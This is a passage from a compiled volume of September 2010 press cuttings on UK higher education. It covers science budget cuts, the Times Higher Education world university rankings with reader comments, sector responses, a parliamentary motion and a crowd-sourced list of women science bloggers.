to the EU.

It finds that the Seventh Framework Programme of the European Commission is the single largest source of
funding for climate change research and includes advice and case studies on making successful
applications.

Report available here.

Posted by Elizabeth Gibney

2010/09/16 TIMES HE: CABLE'S EXCELLENT


RESEARCH RATIONING SCHEME IS UNDER ATTACK
FROM ALL SIDES
By Simon Baker

373 | P a g e
VOLUME 10
A speech by Vince Cable on distributing cuts to the science budget came under fierce attack from vice-
chancellors last week for "fundamental errors" and its potential to damage the UK's reputation.

In an address at the Queen Mary BioEnterprises Innovation Centre in London, the Liberal Democrat
business secretary revealed the government's aim to "ration research funding by excellence" and "screen
out mediocrity".

He proposed concentrating funds on the 54 per cent of research he called "world class", referring to work
given a 3* or 4* score in the last research assessment exercise.

Mr Cable accepted that such an approach "presented problems" adding to the difficulty of spotting
"unknown" talent, but his proposal drew scorn from vice-chancellors and scientists over the implication
that research not graded 3* or 4* was mediocre.

Among critics of his analysis was Steve Smith, president of Universities UK, who told his annual conference
the business secretary's remarks were a "matter of regret".

Pointing out that 90 per cent of quality-related research funding already went to 3* or 4* work, Professor
Smith said: "I think this represents concentration. Secondly, it really doesn't help when the Secretary of
State talks about mediocrity in UK research."

Les Ebdon, chairman of the Million+ group of new universities, said Mr Cable's comments were
"extraordinary". There was also dismay over the mixed messages coming from the government on student
immigration, he said. "Our competitors will be loving this."

Privately, other vice-chancellors at the UUK conference were fuming at Mr Cable's speech. The unrest
follows the recent claim by Ruth Farwell, chair of GuildHE, that the business secretary was guilty of "not
understanding the university sector as much as he should".

Richard Horton, editor of The Lancet, wrote in The Guardian: "Cable's narrow interpretation of quality is an
astonishing insult to the thousands of British scientists who help this country (and its ministers) have a
well-above-average reputation and global influence."

Professor Smith also set out his case for avoiding damaging cuts in the government's Comprehensive
Spending Review, due on 20 October. Using the latest figures from the Organisation for Economic
Cooperation and Development, he stressed that competitor countries were already investing more in
research.

"I know personally they cannot understand our logic of reducing investment in what they see as the
number one route towards future economic growth," he said.

simon.baker@tsleducation.com

Read Professor Smith's speech in full at http://bit.ly/dtfZk7

UCU STATES CASE AGAINST FOR-PROFIT PROVIDERS

Problems involving for-profit universities in the US could be replicated in Britain if the government opens
up the sector to commercial firms, a lecturers' union has claimed.

In a letter to David Willetts, the universities minister, Sally Hunt, the general secretary of the University
and College Union, said events in the US showed why for-profit providers should not be allowed greater
access to public funds.

374 | P a g e
VOLUME 10
In a speech to the Universities UK conference last week, Mr Willetts said commercial providers were the
"natural response to the global hunger for higher education".

Ms Hunt pointed to problems in the US, where some for-profit companies - which can draw up to 90 per
cent of their income from federal-backed student support - have been accused of malpractice.

It remains unclear how the British government intends to open up higher education to commercial
providers, but Mr Willetts said that a Higher Education Bill planned for autumn 2011 would be re-
examining the issue.

2010/09/16 TIMES HE RANKINGS: WORLD


UNIVERSITY RANKINGS 2010-2011
Welcome to Times Higher Education’s list of the world’s top universities for 2010-11.

Top 200 world universities

Top universities by region

Europe

Asia

North America

South America

Oceania

Africa

Top universities by subject

Engineering & Technology

Life sciences

Clinical, Pre-clinical & Health (published October 7th)

Physical sciences (published October 14th)

Social sciences (published October 21st)

Arts & Humanities (published October 28th)

Although 2010-11 is the seventh year that Times Higher Education has published its annual rankings, these
tables represent a new level of sophistication. In light of this, the top 200 list and the six subject tables we
are publishing should be considered the first of a new annual series, for we have completely overhauled
the methodology to deliver our most rigorous, transparent and reliable rankings tables ever. The Times
Higher Education World University Rankings 2010-11 were developed in concert with our new rankings
data provider, Thomson Reuters, with input from more than 50 leading figures in the sector from 15

375 | P a g e
VOLUME 10
countries across every continent, and through 10 months of extensive consultation. We believe we have
created the gold standard in international university performance comparisons.

We are confident that the 2010-2011 world university rankings represent the most accurate picture of
global higher education we have ever produced.

Our rankings of the top universities across the globe employ 13 separate performance indicatorsdesigned
to capture the full range of university activities, from teaching to research to knowledge transfer. These 13
elements are brought together into five headline categories, which are:

Teaching — the learning environment (worth 30 per cent of the overall ranking score)

Research — volume, income and reputation (worth 30 per cent)

Citations — research influence (worth 32.5 per cent)

Industry income — innovation (worth 2.5 per cent)

International mix — staff and students (worth 5 per cent).

The overall top 200 ranking and the six tables showing the top 50 institutions by subject were based on
criteria and weightings that were carefully selected after extensive consultation. All of them drew on our
exceptionally rich data set. Of course, we recognise that different people have different interests and
priorities. So to allow everyone to make the most of our data and gain a personalised view of global higher
education, the tables on this site can be fully manipulated and sorted. With this feature, users may rank
institutions by their performance in any one of the five broad headline categories to create bespoke tables
or make regional comparisons via our area analyses.

For even richer and deeper analysis of more than 400 institutions, download our Times Higher
Education World University Rankings iPhone application, which allows you to create your own
methodology, filter results by country and region, and match your personalised rankings against cost-of-
living and tuition-fees data

2010/09/16 UUK: LATEST WORLD


UNIVERSITY RANKINGS SHOULD ACT AS A “WAKE-
UP CALL”
The publication today of the Times Higher Education World University Rankings 2010-11 must act as a
“wake-up call” according to Universities UK President Professor Steve Smith. Despite showing that the UK
remains second only to the US in terms of the strength of its university system (29 UK universities in the
world top 200), the tables show growing competition from other countries.

Professor Steve Smith, President of Universities UK, said: “The tables may show that the UK remains the
second-strongest university system in the world, but the most unmistakeable conclusion is that this
position is genuinely under threat.

“The higher education sector is one of the UK's international success stories, but it faces unprecedented
competition. Our competitors are investing significant sums in their universities, just when the UK is
contemplating massive cuts in its expenditure on universities and science.

376 | P a g e
VOLUME 10
“Clearly, league tables must always come with a health warning as they never tell the whole story, but
these rankings provide a useful indicator of international trends.

“This must serve as a wake-up call before big decisions are taken on university funding next month in the
form of the government's spending review and the recommendations of Lord Browne's review into
university funding and fees.”

ENDS

2010/09/16 RUSSELL GROUP: RUSSELL


GROUP COMMENTS ON THE WORLD UNIVERSITY
LEAGUE TABLES
Commenting on the THE World University Rankings (2010) published today, Dr Wendy Piatt, Director
General of The Russell Group of research-intensive universities said:

“The real story behind all world league tables is that our universities still punch way above their weight on
the world stage. But we will really struggle to sustain this success if we are subject to yet more cuts while
our international competitors are pumping billions into their leading universities.

“The picture painted by the THE league table is certainly bleak for UK higher education but the many
league tables on offer diverge widely in their results and methodology.[1] Only last week, the QS league
table placed eight UK universities in the top 50 and 19 UK universities in the world’s top 100.*2+ This new
THE table clearly has its limitations and inconsistencies – its compilers themselves admit to ‘anomalies’.

“Nevertheless, we cannot ignore the fact that the world-class status of our universities is under threat
from other countries, particularly the US, who are flourishing as a result of the extra billions their
governments have ploughed into their leading institutions. The US also has the significant advantage of
being able to top up this investment with higher contributions from their students.

“Our leading UK universities still offer outstanding quality and punch above their weight on the world
stage, generally coming second only to the US. But their future is looking increasingly bleak if they are
subject to more cuts and are prevented from asking for higher contributions from their graduates.

“Our current 1.3% of GDP investment in higher education is already outpaced by the US, Germany, South
Korea, Australia, Canada and Japan. Against the odds, with one percent of the world's population, 12% of
scientific citations go to UK-based research.

377 | P a g e
VOLUME 10
“It would be a great shame and profoundly counterproductive to the Government’s aim of strengthening
our economy if we lost the invaluable asset of our world-class universities and the many economic, cultural
and social benefits that flow from them.”

End

[1] A recent report by the European Commission (Assessing Europe’s University-based research,2010)
expressed serious doubts about the feasibility of comparing universities, and an earlier report by HEFCE*
found that constraints on available data mean that league tables tend to simply ‘count what can be
measured rather than measuring what counts’. Making meaningful comparisons of universities both
within, and across, national borders is a tough and complex challenge, not least because of issues relating
to the robustness and comparability of data. The fact that an individual institution can fare quite
differently in the various league tables illustrates these problems very clearly.

Although rankings are attractive in their simplicity, there are other ways to compare universities. For
example, as an assessment of research the quality profiles generated by the UK’s Research Assessment
Exercise is a more accurate indication of an institution’s research strength than any single ranking. Some
experts have suggested that rather than focussing on rankings, quality profiles could be used more widely
in comparing institutions (Brink, C ‘On quality and standards, Australian Universities Quality Forum, July
2009).

* HEFCE, Counting what is measured or measuring what counts? 2008

[2] http://www.topuniversities.com/university-rankings/world-university-rankings/home

2010/09/16 TIMES HE: 'REALITY CHECK': THE


UK CLINGS ON TO SECOND PLACE IN GLOBAL
LEAGUE
By John Morgan

US dominates revamped Times Higher Education World University Rankings. John Morgan reports

The UK faces a "reality check" this week with the publication of the new and more rigorous Times Higher
Education World University Rankings.

378 | P a g e
VOLUME 10
Britain's performance has deteriorated under the revamped system, developed in partnership with
research-data specialist Thomson Reuters, although it remains a clear second to the US and well ahead of
the rest of the pack.

The UK has 29 universities in the top 200, compared with 72 US institutions, but just five of these make the
top 50: the University of Cambridge, the University of Oxford, Imperial College London, University College
London and the University of Edinburgh.

The US, by contrast, has 27 institutions in the top 50 and occupies the entire top five, with Harvard
University in pole position.

The UK's highest-ranked institutions, Cambridge and Oxford, are joint sixth.

Despite the US dominance, the UK remains an overachiever when its performance is judged against its
higher education spending, which is below average for countries in the Organisation for Economic
Cooperation and Development.

A table illustrating countries' overall performance in terms of aggregate points scored by universities in the
top 200 (below) shows that the UK has more than twice as many as Germany in third place.

Both countries have performed well despite their higher education spending falling below the OECD
average of 1.5 per cent: the UK spends 1.3 per cent of GDP and Germany's figure is even lower at 1.1 per
cent. However, the latter is planning sizeable additional spending, unlike the former.

The US is the runaway leader, with more than twice the UK's aggregate points. Its performance correlates
with its level of investment: the US spends 3.1 per cent of GDP on its universities, more than any other
OECD nation.

The table also shows that Canada is ranked in fourth place in terms of aggregate points scored, while China
is the highest-ranked Asian nation in eighth place.

The UK sector's strong performance relative to investment comes at a time of significant concern about
deep cuts to public funding, due to be announced in the government's Comprehensive Spending Review
(CSR) on 20 October.

Experts have warned that the cuts are at odds with the strategies being pursued by competitor countries,
many of which are investing in their universities.

Timely figures

Developed after months of consultation with the sector, THE's methodology is now designed to emphasise
evidence about research, teaching and knowledge transfer.

Steve Smith, president of Universities UK, writes in the THE World University Rankings supplement that the
appearance of the league table before the CSR and the publication of Lord Browne of Madingley's
independent review of fees and funding is timely.

The implications of the rankings are "absolutely clear", he says. "The UK's academy has no automatic right
to stay in its current position as the second-strongest system in the world. The government faces a clear
choice: either continue to invest in the university system or see the UK's comparative position decline."

Professor Smith also notes Germany's additional spending of €18 billion (£15 billion) on science, research
and development between 2010 and 2015, and France's extra €1.8 billion a year for research and higher
education in 2010 and 2011.

379 | P a g e
VOLUME 10
By contrast, the UK's most senior civil servant, Sir Gus O'Donnell, has warned vice-chancellors to plan for
35 per cent cuts between 2011 and 2015, the period covered by the CSR. Lord Browne's review, scheduled
for publication in early October, is under pressure from some universities to recommend a significant rise
in the tuition-fee cap so that institutions can recoup losses in public income.

Bahram Bekhradnia, director of the Higher Education Policy Institute, said that the achievement of UK
universities was "consistently extraordinarily good - all the more remarkable when expenditure levels are
taken into account".

He said the government needed to be aware of two dangers. "First, the price paid in the US to attain the
level of excellence that it achieves is extraordinarily high, and undoubtedly much of that expenditure is
wasteful. Whatever amendments are made to the fee regime, (the UK) must not allow costs to escalate.
The US should not be our comparator in that respect.

"Second, it is facile to tell universities that they should be doing more with less. They already are doing
more with less, and it is more or less inevitable that requiring them to live with even less funding will
damage our quality and standing in the world."

Academic resilience

Commenting on the US' continuing dominance, Philip Altbach, director of the Center for International
Higher Education at Boston College, said it "shows that once you have built an academic culture, it takes a
lot of banging, both from inside and outside, to shake those universities off their perches".

However, he sounded a warning that "what's going on in the US right now is extremely negative and may
make it easier for other countries and institutions to do a little better".

In terms of the total numbers of universities in the top 200, Germany has gained ground on the UK by
registering 14 institutions, followed by the Netherlands (10), Canada (nine) and Australia (seven).

Asian institutions make up an eighth of the top 200, with the continent's tally of 25 delivered by China (six),
Japan (five), Hong Kong (four), South Korea (four), Taiwan (four) and Singapore (two).

Jonathan Adams, director of research evaluation at Thomson Reuters, said: "People will recognise that the
reshaped basket of indicators that THE is using include funding as an important element at a number of
points.

"The relative funding of higher education institutions in the US and the UK ultimately influences some of
the changes in ranking. This reflects the relatively fragile funding position of some of the leading UK
institutions."

The new rankings methodology is based on 13 indicators designed to capture a broad range of activities,
from teaching and research to knowledge transfer. Two indicators use the results from a worldwide survey
of academics conducted by Ipsos MediaCT, which is bigger and more representative than ever before.

However, subjective views carry less weight in the new system, counting for 34.5 per cent of total scores
rather than the 50 per cent under the old system. The 2010 methodology is "less heavily weighted towards
subjective assessments of reputation and uses more robust citation measures", Professor Smith says.

Also writing in the THE rankings supplement, David Willetts, the universities and science minister, agrees
that the revamped system uses "more rigorous criteria".

Crème de la crème

380 | P a g e
VOLUME 10
Rank University Country

1 Harvard University US

2 California Institute of Technology US

3 Massachusetts Institute of Technology US

4 Stanford University US

5 Princeton University US

=6 University of Cambridge UK

=6 University of Oxford UK

8 University of California, Berkeley US

9 Imperial College London UK

10 Yale University US

Points-based interpretation: aggregate score for countries in top 200

THE World University Rankings Universities in top OECD % GDP


Country Rank Country
aggregate points 200 spend on HE

1 United States 4,782.7 72 3.1

2 United Kingdom 1,726.5 29 1.3

3 Germany 734.4 14 1.1

4 Canada* 538.2 9 2.6

5 Netherlands 514.8 10 1.5

6 Australia 418.7 7 1.5

7 Switzerland 372.5 6 1.2

8 China 351.5 6 –

9 Sweden 323.4 6 1.6

10 Japan 302.3 5 1.5

381 | P a g e
VOLUME 10
11 Hong Kong 255.2 4 –

12 France 247.3 4 1.4

13 South Korea 237.5 4 2.4

14 Taiwan 209.8 4 –

15 Denmark 153.2 3 1.7

16 Singapore 121.9 2 –

17 Ireland 117.8 2 1.2

18 Belgium 109.2 2 1.3

19 Spain 103.2 2 1.1

20 Turkey* 103.1 2 0.8

21 Austria 93.9 2 1.3

22 Finland 56.6 1 1.6

23 South Africa 56.1 1 –

24 Norway 52.7 1 1.3

25 New Zealand 51.8 1 1.5

26 Egypt 51.6 1 –

All universities in the top 200 list are given a score in each of the 13 separate performance indicators, which are brought
together to give a final overall ranking score (a cumulative probability score) for each institution. This table aggregates the
overall ranking scores for every institution featured in the top 200, by country (see Times Higher Education World
University Rankings supplement for full tables and methodology).

* All OECD figures are for 2007, except for Canada’s, which is for 2006, and Turkey’s, which is for 2000.

john.morgan@tsleducation.com

Readers' comments
Eric Sotto 17 September, 2010
Nearly all the comments in the THE on the university ranking figures noted above, remind us that, for the past
300 years, the predominant mythology in the west has been one called materialism. How does this mythology
explain the appearance on the above list of Switzerland, Hong Kong, Denmark, and Finland, and the absence of
Russia, Brazil, Algeria and Saudia?
Mike Reddin 17 September, 2010
World university rankings take national ranking systems from the ridiculous to the bizarre. Two of the most
glaring are made more so by these latest meta analyses.

382 | P a g e
VOLUME 10
Number One: R&D funding is scored not by its quality or contribution to learning or understanding but by the
amount of money spent on that research; it ranks expensive research higher than cheap research; it ranks a
study of 'many things' better than the study of a 'few things'; it ranks higher the extensive and expensive
pharmacological trial than the paper written in tranquility over the weekend. I repeat, it does not score
'contribution to knowledge'.

Number Two. Something deceptively similar happens in the ranking of citations. We rank according to number
alone - not 'worth' - not whether the paper merited writing in the first place, not whether we are the better
for or the worse without it, not whether it adds to or detracts from the sum of human knowledge. Write epic
or trash .... as long as it is cited, you score. Let me offer utter rubbish - the more of you that denounce me the
better; as long as you cite my name and my home institution.

Which brings me full circle: the 'rankings conceit' equates research / knowledge / learning / thinking /
understanding with institutions - in this case, universities and universities alone. Our ranking of student
'outcomes' (our successes/failure as individuals on many scales) wildly presumes that they flow from 'inputs'
(universities). Do universities *cause* these outcomes - do they add value to those they have admitted? Think
on't. Mike Reddin www.publicgoods.co.uk
D Riley 17 September, 2010
Mike: Couldn't agree more! Its a charade designed to allow universities to be "managed" by those who
undertsand nothing about what they do but can tell one number is bigger than another.
jorge Sanchez 18 September, 2010
this is ridiculous~ LSE was placed 67 in the previous year and THE decided to end relations with QS because of
this issue. now since THE is no longer teaming up with QS, how could you possibly explain this anomaly by placing
LSE ranked 86 in the table????

i strongly believe that Pathy should resign to his position because he is just doing nothing but just to screw the
whole reputation of the real top universities.
Mark 18 September, 2010
where is the "chinese university of Hong Kong in the table??? it is no longer in the top 200 best universities....

last year was in the top 50 now is off the table??? is this a serious ranking?????
Of course it's silly 18 September, 2010
Just look at the proposition that teaching is better if you have a higher proportion of doctoral students to
undergraduate students.

This is just plainly silly, as 10 seconds thinking about the reputation of teaching in the US will tell you: liberal
arts colleges offer extraordinary teaching in the absence of PhD programmes.
Adam 18 September, 2010

This ranking table below I think has a better balance and method.

See it Here: - http://www.highimpactuniversities.com/index.html


Maybe LSE isn't that good.... 18 September, 2010
"this is ridiculous~ LSE was placed 67 in the previous year and THE decided to end relations with QS because
of this issue. now since THE is no longer teaming up with QS, how could you possibly explain this anomaly by
placing LSE ranked 86 in the table???? "

Maybe LSE just isn't as good as people think. Seriously, it's because of the bias towards universities with
strong research programs in the sciences and engineering in this ranking. LSE comes out even lower in the
Shanghai Jiao Tong rankings. It's always going to be hard to rank places like LSE. It's not really a university -
it's more like a faculty of a university (and in fact, it's also not really a university because it's part of the
University of London). How do you compare LSE with a place like Caltech, which is probably the strongest place
in the world in the natural sciences, highly competitive in engineering, has strong but very narrow activity in the
social sciences, and has no graduate programs in the humanities? The Times this time developed a ranking
system that, in some sense, got Caltech right, since for what it tries to do, it's certainly in the top 5 in the
world, but probably got LSE wrong, since it's probably in the top 20 and maybe higher, in the world for what it
tries to do. If LSE still does badly in the social science rankings, then there's probably a problem, but it should

383 | P a g e
VOLUME 10
be noted that in the Shanghai rankings for the subject area of social sciences, LSE is still only 24th, third in
the UK, but behind 21 American universities.
into the rubbish bin 18 September, 2010
Football league tables are "reliable" because all the participating clubs agree in advance to the simple rules (3, 1
and zero points etc.), which then produce the ranking.
In contrast, in the case of these university rankings, what Aristotle said applies: don't try to be more precise
than reality allows.
What a bore it is to read endless complaints about how this or that discipline or region or institution has
profited or lost out on account of some bias.
I'd advise throwing the whole lot of rankings into the waste paper bin or virtual trash can - were it not that I
know that the rankings are now also an industry, with lots of loot to be earned.
Matthew H. Kramer 18 September, 2010
Though some tiers of these rankings are sensible, there are some bizarre anomalies. Mirabile dictu, the
University of Texas doesn't appear at all; the University of Virginia is ridiculously low at 72; NYU is absurdly
low at 60; the University of Hong Kong is preposterously overrated at 21. Moreover, as has been remarked in
some of the previous comments -- and as is evident from a glance at the rankings -- the criteria hugely favor
technical institutes. The rank of MIT at 3 is credible, because MIT is outstanding across the board. However,
Cal Tech doesn't belong at 2, and Imperial (which has no programs at all in the humanities and social sciences)
certainly doesn't belong at 9. Imperial and especially Cal Tech are outstanding in what they do, but neither of
them is even close to outstanding across the gamut of subjects that are covered by any full-blown university. I
hope that some of these anomalies will be eliminated through further adjustments in the criteria. The exclusion
of Texas is itself sufficiently outlandish to warrant some major modifications in those criteria.
Matthew H. Kramer 18 September, 2010
Weird too is the wholesale exclusion of Israeli universities. Hebrew University, Tel Aviv University, and
Technion belong among the top 200 in any credible ranking of the world's universities.
Neil Fazel 19 September, 2010
No Sharif, no U. Texas, no Technion. Another ranking to be ignored.
Dr Truth 19 September, 2010
The ranking provided by Adam makes much more sense that the THES and QS ones. Indeed, it is arguably as
good as or slightly better than the Shanghai one.
ANON 20 September, 2010
This ranking once again shows how the UK suffers from the absurd fragmentation of higher education in
London. London could and should have at least two universities firmly in the world top 10. Instead Imperial is
clinging on at 9 (and that is a generous placing) and UCL is out of even the top 20.

The following mergers MUST now be forced on the institutions by Government:

UCL with the London Business School, SOAS, London School of Hygiene and Tropical Medicine and RVC.

Imperial with London School of Economics and Institute for Cancer Research.

King's with the Courtauld, Royal Academy of Music, School of Advanced Studies and Institute of Education.
OZ academic 20 September, 2010
While the criteria seem to be OK, although they might be debated, how to carry out the statistical analyses
and how to collect the data are the issues for the validity of the poll. The omission of Chinese University of
Hong Kong, in the inclusion of the Hong Kong Baptist University and Hong Kong Polytechnic University in the
world's top 200 universities, seems to be very "mysterious" to me. As I understand the Chinese University of
Hong Kong is more or less of a similar standard in teaching and research in comparison to the Hong Kong
University and the Hong Kong University of Science and Technology, but they have some slight edges over the
Hong Kong Baptist University and the Hong Kong Polytechnic University. I wonder if there are mix-ups in the
data collection processes. If this is true, then there are disputes in this poll not only in the criteria of
assessment but also in the accuracy in data collections and analyses.

Counterpunch 21 September, 2010


All the ranking list reveals is a slightly invidious bias towards medical and mechanical sciences. Imperial has no
social science and humanities provision and rates at 9; LSE has no medicine and engineering provision and at
rates at 87. Is University of Hong Kong really 66 places better than LSE? No, it isn't.

384 | P a g e
VOLUME 10
2010/09/16 THE ECONOMIST: GREY-SKY
THINKING
Will slashing science spending reform the discipline or damage the economy?

A RACING track hums as miniature cars hurtle round it. Thin, grey men in thin, grey suits discuss recently
discovered planets. Outside, the drizzle descends. The gloomy weather at the annual British Science
Festival, taking place in Birmingham between September 14th and 19th, reflected a general malaise. Dark
clouds are gathering over research funding.

British science has a distinguished history. The nation is marking the 350th anniversary of the Royal
Society, which is credited with devising the scientific method; the annual science festival has been running
since 1831. And in recent years both public and private spending on science have risen steadily in real
terms, increasing by 15% in the five years to 2008, the most recent year for which data are available. Most
of the money comes from business: some £15.9 billion in 2008 (before the recession). In the same year,
public spending on science in universities totalled £7.8 billion, government departments spent £1.3 billion,
and charities stumped up £600m.

Yet now the prospects for science funding look bleaker than they have done for more than two decades.
Even before the Conservative-Liberal Democrat coalition took office in May, the previous Labour
government announced it was seeking cumulative cuts of £600m in the budgets for higher education,
science and research by 2012. On September 8th Vince Cable, whose sprawling Department for Business,
Innovation and Skills is responsible for science and universities, went much further, forecasting cuts for
science of between 20% and 25%. He said he wanted to economise without inflicting damage, by rationing
funding according to excellence.

The dying of the Diamond Light

Researchers are already at each other’s throats over where the axe should fall: engineers point to the
expensive equipment employed by physicists who, in turn, demand recognition for helping invent the
world wide web. During previous funding squeezes, governments have halted the use of costly kit such as
plush telescopes. That is less possible now, because many of Britain’s biggest scientific investments are co-
owned: withdrawing from membership of expensive clubs such CERN, the European particle physics
laboratory, carries hefty cancellation charges. It is more likely that fancy facilities at home, such as the
Diamond Light Source in Oxfordshire (see picture), will be less used. Future generations of scientists will be
hit: there will be fewer opportunities to gain a PhD or hold a postdoctoral post.

Part of the trouble, say some scientists, is that spending on their field is already concentrated on an elite.
Roughly a quarter of proposals for research grants now succeed, down from a third five years ago. Funding
for laboratories has become increasingly competitive: those judged to be “internationally excellent” are
penalised in favour of the “world-leading”.

385 | P a g e
VOLUME 10
Those now facing a further squeeze say the elitism has already gone too far. Les Ebdon, vice-chancellor of
the University of Bedfordshire, complains that “there is no evidence that concentration of research works;
rather it stifles innovation, the emergence of new disciplines and collaboration.” Even some of those who
stand to benefit from shifting more money into fewer pockets of excellence bemoan the impending
funding pinch, claiming it could harm future economic growth.

Much of this is special pleading; other professions, such as teachers and doctors, can and do argue that
they are vital to the economy. Yet the wider benefit of scientific investment is stark. A recent report by
Jonathan Haskel of Imperial College Business School, for example, found that spending on scientific
research led to strong productivity gains elsewhere in the economy.

Bottom of the class

Science seems unlikely to benefit much from proposed reforms to the way universities are funded, due to
be unveiled by Lord Browne on October 11th. His review is likely to recommend that universities be
allowed to charge higher fees (accompanied, probably, by a commensurate reduction in government
subsidy). But that will not, in itself, resolve the funding problem faced by science departments. Students in
England currently pay the same tuition fee whether they are reading history (which is cheap to teach) or
chemistry (which is not); the state partially makes up the difference. There is little sign that fees will be
indexed to the true cost of degrees.

Other countries with rickety public finances are nevertheless splurging on science and universities. America
intends to double its scientific-research budget between 2006 and 2016. Canada, France and Germany are
planning big boosts. Australia and China (which avoided recession) also intend to raise spending.

Britain already devotes a far smaller proportion of its national wealth to research than many other rich
countries (see chart). Its strategy for fostering science by encouraging only the elite is about to be severely
tested.

Britain

386 | P a g e
VOLUME 10
2010/09/16 EARLY DAY MOTION 767:
SCIENCE IS VITAL CAMPAIGN

Huppert, Julian

4 signatures

Bottomley, Peter

Morris, David

Onwurah, Chi

That this House notes the UK's proud history of excellence in science and engineering, whereby it produces
over 10 per cent. of global scientific output with just one per cent. of global population; believes that
continued investment in research is vital in order to meet the technological and social challenges of the
21st century, and to continue to attract high-tech industries to invest here; further believes that large cuts
to science funding are a false economy, due to evidence that research investment fuels economic growth;
further notes, the increased investment in science by the UK's international competitors, such as the USA,
France and Germany; further believes that investment in research and development is vital to help
rebalance our economy towards hi-tech manufacturing and away from over-reliance on financial services;
recognises the work of the Science is Vital coalition and the Campaign for Science and Engineering in
arguing that the UK should seek to retain its role as a world leader in these fields; and calls on the
Government to safeguard the UK's scientific excellence by providing a research investment strategy which
builds on the success of UK science and engineering.

2010/09/16 GUARDIAN SCIENCE BLOG


MARTIN: WOMEN IN SCIENCE BLOGGING

With women science bloggers under-represented in blogging networks, here's my attempt to crowd-
source a list

A recent blog post by Jenny Rohn observed that 'celebrated science bloggers are predominantly male', and
points to the fact that across the various science blogging collectives – including our fledgling efforts here
at the Guardian, although I can tell you we certainly tried to get a fair balance – there is a distinct over-
abundance of Y chromosomes.

So like the armchair activist I am, I created a hashtag on Twitter – #wsb – and asked people to help me
come up with a list. Over the next several hours, more than a hundred replies came in, and beautifully, the
tag became an impromptu celebration of women in science blogging.

387 | P a g e
VOLUME 10
Here's the resulting list:

(In alphabetical order of first name. Please post any errors or people I've missed in the comments,
preferably with a URL where I can find their blog.)

 'Dr Dr A' (@drdrAatBLC) | Blue Lab Coats


 Abbie Smith | ERV
 Ainsley Seago | American Beetles
 Alice Bell (@alicebell) | Through the Looking Glass
 Alice Pawley (@alicepawley) | Science Woman
 Alice Sheppard (@penguingalaxy) | Alice in Galaxyland
 Amanda Lovell (@a_lovell) | The Underground Sky
 Amy Freitag (@bgrassbluecrab) | Southern Fried Science
 Annabel Bentley (@doctorblogs) | BMJ Group Blogs
 Ann Finkbeiner | Last Word on Nothing
 Anne Jefferson (@highlyanne) | Highly Allochthonous
 Athene Donald | Athene Donald's Blog
 Bec Crew (@beccrew) | Save Your Breath for Running Ponies
 Dr. Becca (@doc_becca) | On the Market
 Biochem Belle (@biochembelle) | There & (Hopefully) Back Again
 Bordado Ingles (@BordadoIngles) | Bordado Ingles
 'Bug Girl' (@bug_girl) | Bug Girl's Blog
 Carin Bondar (@DrBondar) | Biologist with a Twist
 Carmen Drahl (@carmendrahl) | Chemical and Engineering News Blog
 Cassandra Profita (@ecotrope) | Ecotrope
 Cath Ennis (@enniscath) | VWXYNot?
 C.C. Peterson (@spacewriter) | The Space Writer's Ramblings
 Chris Atherton (@finiteattention) | Finite Attention Span
 Chris Goforth | The Dragonfly Woman
 Christie Wilcox (@NerdyChristie) Observations of a Nerd
 Christina Agapakis (@thisischristina) | Oscillator
 Christine Ottery (@christineottery) | Christine Ottery
 Christine Pikas (@cpikas) | Christina's LIS Rant
 Claire Evans (@TheUniverse) | Universe
 D.N. Lee (@DNLee) | Urban Science Adventures
 Darlene Cavalier (@scicheer) | Science Cheerleader
 Deborah Blum (@deborahblum) | Speakeasy Science
 DeLene Beeland (@tdelene) | Wild Muse
 Dorothy Bishop (@deevybee) | BishopBlog
 Emily Anthes (@EmilyAnthes) | Wonderland
 Emily Lakdawalla (@elakdawalla) | The Planetary Society Blog
 Emily Willingham | Complete Idiot's Guide for College Biology
 Eva Amsen (@easternblot) | Eastern Blot
 Evie Marom (@SpaceGurlEvie) | Evie's Sci Blog
 Female Science Professor | Female Science Professor
 Gaia Vince (@wanderinggaia) | Wandering Gaia
 Gretchen Keller (@sciencegeist) | ScienceGeist
 Gozde Zorlu (@GozdeZorlu) | The Science Scribbler
 'Grrlscientist' (@GrrlScientist) | GrrlScientist
388 | P a g e
VOLUME 10
 Hannah Devlin (@hannahdev) | Times Science Blogs
 Hannah King (@BabbleNan) | Naked Little Ape
 Hannah Waters (@culturingsci) | Culturing Science
 Hayley Birch (@gingerbreadlady) | Words of Science
 Heather Goldstone (@climatide) | Climatide
 Heather Pringle (@hpringle) | Last Word on Nothing
 Dr Helen Maynard-Casely | Domestic Science
 Holly Barnes (@hollybarnes) | Holly's Blogs
 Dr. Isis (@drisis) | Isis the Scientist
 'Jade Ed' (@jadedbybiotech) | Jad Ed
 Jai Virdi (@jaivirdi) | From The Hands of Quacks
 Janet Stemwedel (@docfreeride) | Adventures in Ethics and Science
 Jennifer Ouellette (@JenLucPiquant) | Cocktail Party Physics
 Jennifer Rohn (@JennyRohn) | Mind the Gap
 Jess Palmer (@jesspalmer) | Bioephemera
 JoAnne Hewett | Cosmic Variance
 Joanne Manaster (@sciencegoddess) | Joanne Loves Science!
 Jo Marchant (@jomarchant) | Decoding the Heavens
 Josie Glausiusz | Last Word on Nothing
 Jovana Grbic (@ScriptPhD) | Script PhD
 Jules B (@geekinthegambia) | Geek in The Gambia
 Julia Collins (@haggismaths) | Knot Your Average Shepe
 Julia Heathcote Anderson | Stages of Succession
 Julianne Dalcanton | Cosmic Variance
 'Disgruntled Julie' (@ethidiumbromide) | Disgruntled Julie
 Karen Grepin (@KarenGrepin) | Karen Grepin's Global Health Blog
 Karen James (@kejames) | kejames.com
 Kat Arney (@harpistkat) | Cancer Research UK
 Kate Clancy (@kateclancy) | Context and Variation
 Kelly Oakes (@kahoakes) | Basic Space
 Dr. Kiki Sanford (@drkiki) | The Bird's Brain
 Krystal D'Costa (@anthinpractice) | Anthropology in Practice
 'Lab Mom' (@Lab_Mom) | The Toughest Job You'll Ever Love
 'Lady Scientist' (@LadyScientist) | A Lady Scientist
 Miss Prism | A Somewhat Old, But Capacious Handbag
 Dr. Leigh (@dr_leigh) | Neurodynamics
 Leila Battison (@leilageologist) | Science in Pen and Ink
 Lily Asquith | LHCsound
 Lisa Jarvis (@lisamjarvis) | The Haystack
 Liz Borkowski (@LizBorkowski) | The Pump Handle
 Maggie Koerth-Baker (@maggiekb1) | Boing Boing
 Marianne (@noodlemaz) | Purely a Figment of Your Imagination
 Maryn McKenna (@marynmck) | Superbug
 Michelle (@physilology) | C6-H12-O6
 Melinda Wenner Moyer (@lindy2350) | Body Politic
 Melody Dye | Child's Play
 Miriam (@oystersgarter) | Deep Sea News
 Naomi McAuliffe (@naomimc) | A Vagina Dentata
389 | P a g e
VOLUME 10
